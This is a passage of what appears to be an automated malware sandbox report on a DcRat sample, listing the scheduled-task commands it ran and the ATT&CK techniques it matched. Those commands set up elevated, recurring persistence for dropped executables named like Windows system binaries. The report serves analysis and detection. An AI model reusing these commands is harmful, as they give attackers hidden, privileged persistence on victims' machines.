  PID:1748
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de519071" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Documents\My Music\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe'" /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:3048
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "CatC" /sc MINUTE /mo 8 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\Cat.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:1164
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907" /sc ONLOGON /tr "'C:\Users\Default\Documents\My Music\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:236
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 9 /tr "'C:\Windows\system\dllhost.exe'" /f
  2⤵
  - Process spawned unexpected child process
  PID:2564
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de519071" /sc MINUTE /mo 14 /tr "'C:\Users\Default\Documents\My Music\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  PID:2852
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Windows\system\dllhost.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:2244
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "servicess" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Media Player\ja-JP\services.exe'" /f
  2⤵
  - Process spawned unexpected child process
  PID:1252
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 5 /tr "'C:\Windows\system\dllhost.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  PID:1760
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Program Files\Windows Media Player\ja-JP\services.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  PID:1256
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "servicess" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Media Player\ja-JP\services.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:2008
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c27" /sc MINUTE /mo 11 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe'" /f
  2⤵
  - Process spawned unexpected child process
  PID:2240
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2" /sc ONLOGON /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe'" /rl HIGHEST /f
  2⤵
  - Process spawned unexpected child process
  PID:2752
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "OSPPSVCO" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Windows NT\TableTextService\OSPPSVC.exe'" /f
  2⤵
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:3100
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c27" /sc MINUTE /mo 6 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\70e28b4e87181b012f43790f1cc8ccf79aae6d2e3ce66dd1659e8098e6c081c2.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Process spawned unexpected child process
  - Scheduled Task/Job: Scheduled Task
  PID:3116
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "OSPPSVC" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\TableTextService\OSPPSVC.exe'" /rl HIGHEST /f
  2⤵
  PID:3148
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "OSPPSVCO" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows NT\TableTextService\OSPPSVC.exe'" /rl HIGHEST /f
  2⤵
  PID:3220
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b67" /sc MINUTE /mo 13 /tr "'C:\Program Files\Microsoft Office\Office14\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /f
  2⤵
  PID:3360
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b6" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office\Office14\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  PID:3380
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "73c1c41b9e71c48e752a5cd19fe808b67" /sc MINUTE /mo 11 /tr "'C:\Program Files\Microsoft Office\Office14\73c1c41b9e71c48e752a5cd19fe808b6.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  PID:3396
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\csrss.exe'" /f
  2⤵
  PID:3468
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\csrss.exe'" /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3488
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\csrss.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Scheduled Task/Job: Scheduled Task
  PID:3504
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c2" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\Microsoft Visual Studio 8\SDK\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe'" /f
  2⤵
  PID:2624
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "schtaskss" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows NT\TableTextService\schtasks.exe'" /f
  2⤵
  - DcRat
  PID:3628
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c" /sc ONLOGON /tr "'C:\Program Files (x86)\Microsoft Visual Studio 8\SDK\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe'" /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3920
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "schtasks" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\TableTextService\schtasks.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Scheduled Task/Job: Scheduled Task
  PID:3948
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c2" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Microsoft Visual Studio 8\SDK\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  PID:876
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "schtaskss" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows NT\TableTextService\schtasks.exe'" /rl HIGHEST /f
  2⤵
  PID:1440
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\lsass.exe'" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1780
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "HelpPaneH" /sc MINUTE /mo 11 /tr "'C:\Program Files\Common Files\HelpPane.exe'" /f
  2⤵
  PID:3132
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\lsass.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Scheduled Task/Job: Scheduled Task
  PID:3092
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\{90140000-00A1-0409-0000-0000000FF1CE}-C\lsass.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  PID:3032
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 10 /tr "'C:\MSOCache\All Users\{90140000-0044-0409-0000-0000000FF1CE}-C\conhost.exe'" /f
  2⤵
  - DcRat
  - Scheduled Task/Job: Scheduled Task
  PID:2812
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0044-0409-0000-0000000FF1CE}-C\conhost.exe'" /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:928
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-0044-0409-0000-0000000FF1CE}-C\conhost.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  PID:2120
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Common Files\Adobe AIR\Versions\conhost.exe'" /f
  2⤵
  PID:3400
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Adobe AIR\Versions\conhost.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Scheduled Task/Job: Scheduled Task
  PID:3988
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Common Files\Adobe AIR\Versions\conhost.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  PID:3668
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "netshn" /sc MINUTE /mo 8 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\netsh.exe'" /f
  2⤵
  - DcRat
  PID:3628
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "netsh" /sc ONLOGON /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\netsh.exe'" /rl HIGHEST /f
  2⤵
  PID:3760
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "netshn" /sc MINUTE /mo 8 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\netsh.exe'" /rl HIGHEST /f
  2⤵
  PID:3948
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 14 /tr "'C:\Program Files\Microsoft Office\Office14\1033\57ccb6f0bd910fed428761828ae93553.exe'" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2292
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae93553" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office\Office14\1033\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
  2⤵
  PID:4036
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 5 /tr "'C:\Program Files\Microsoft Office\Office14\1033\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  PID:2092
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 10 /tr "'C:\MSOCache\All Users\csrss.exe'" /f
  2⤵
  - DcRat
  - Scheduled Task/Job: Scheduled Task
  PID:2376
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\MSOCache\All Users\csrss.exe'" /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3104
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\csrss.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  PID:3184
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\Documents\cmd.exe'" /f
  2⤵
  PID:3424
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Users\Admin\Documents\cmd.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  PID:4024
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 7 /tr "'C:\Users\Admin\Documents\cmd.exe'" /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3620
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\conhost.exe'" /f
  2⤵
  PID:2912
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\conhost.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  PID:3528
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\conhost.exe'" /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1812
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 10 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Idle.exe'" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2028
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Program Files\Reference Assemblies\Microsoft\Idle.exe'" /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1720
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 5 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Idle.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Scheduled Task/Job: Scheduled Task
  PID:4040
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\cmd.exe'" /f
  2⤵
  PID:3136
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\cmd.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Scheduled Task/Job: Scheduled Task
  PID:884
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Reference Assemblies\Microsoft\cmd.exe'" /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4072
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "evile" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.fr\evil.exe'" /f
  2⤵
  PID:1072
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "evil" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.fr\evil.exe'" /rl HIGHEST /f
  2⤵
  PID:3384
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "evile" /sc MINUTE /mo 5 /tr "'C:\MSOCache\All Users\{90140000-002C-0409-0000-0000000FF1CE}-C\Proof.fr\evil.exe'" /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3404
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "wermgrw" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows Mail\ja-JP\wermgr.exe'" /f
  2⤵
  PID:3964
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "wermgr" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\ja-JP\wermgr.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Scheduled Task/Job: Scheduled Task
  PID:3596
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "wermgrw" /sc MINUTE /mo 5 /tr "'C:\Program Files\Windows Mail\ja-JP\wermgr.exe'" /rl HIGHEST /f
  2⤵
  PID:4092
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\Start Menu\System.exe'" /f
  2⤵
  - DcRat
  - Scheduled Task/Job: Scheduled Task
  PID:3656
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Users\All Users\Start Menu\System.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Scheduled Task/Job: Scheduled Task
  PID:3536
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 14 /tr "'C:\Users\All Users\Start Menu\System.exe'" /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2072
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "malecusm" /sc MINUTE /mo 13 /tr "'C:\Users\Public\Downloads\malecus.exe'" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3320
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "malecus" /sc ONLOGON /tr "'C:\Users\Public\Downloads\malecus.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Scheduled Task/Job: Scheduled Task
  PID:3884
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "malecusm" /sc MINUTE /mo 11 /tr "'C:\Users\Public\Downloads\malecus.exe'" /rl HIGHEST /f
  2⤵
  PID:2100
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "servicess" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Portable Devices\services.exe'" /f
  2⤵
  PID:1620
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\Program Files\Windows Portable Devices\services.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Scheduled Task/Job: Scheduled Task
  PID:1728
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "servicess" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Portable Devices\services.exe'" /rl HIGHEST /f
  2⤵
  - DcRat
  - Scheduled Task/Job: Scheduled Task
  PID:876
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "HelpPane" /sc ONLOGON /tr "'C:\Program Files\Common Files\HelpPane.exe'" /rl HIGHEST /f
  2⤵
  PID:3916
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "HelpPaneH" /sc MINUTE /mo 7 /tr "'C:\Program Files\Common Files\HelpPane.exe'" /rl HIGHEST /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3868
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 11 /tr "'C:\Recovery\8cdd6da2-3d81-11ef-9400-f2a3cf4ad94f\winlogon.exe'" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2872

C:\Windows\helppane.exe
C:\Windows\helppane.exe -Embedding
1⤵
PID:1988

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3232

C:\Windows\SysWOW64\wowmgr.exe
C:\Windows\SysWOW64\wowmgr.exe
1⤵
- Modifies firewall policy service
- Executes dropped EXE
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
PID:3464

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Scheduled Task/Job

T1053

Scheduled Task

Scripting

T1064

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Netsh Helper DLL

T1546.007

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

AppInit DLLs

T1546.010

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Safe Mode Boot

T1562.009

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry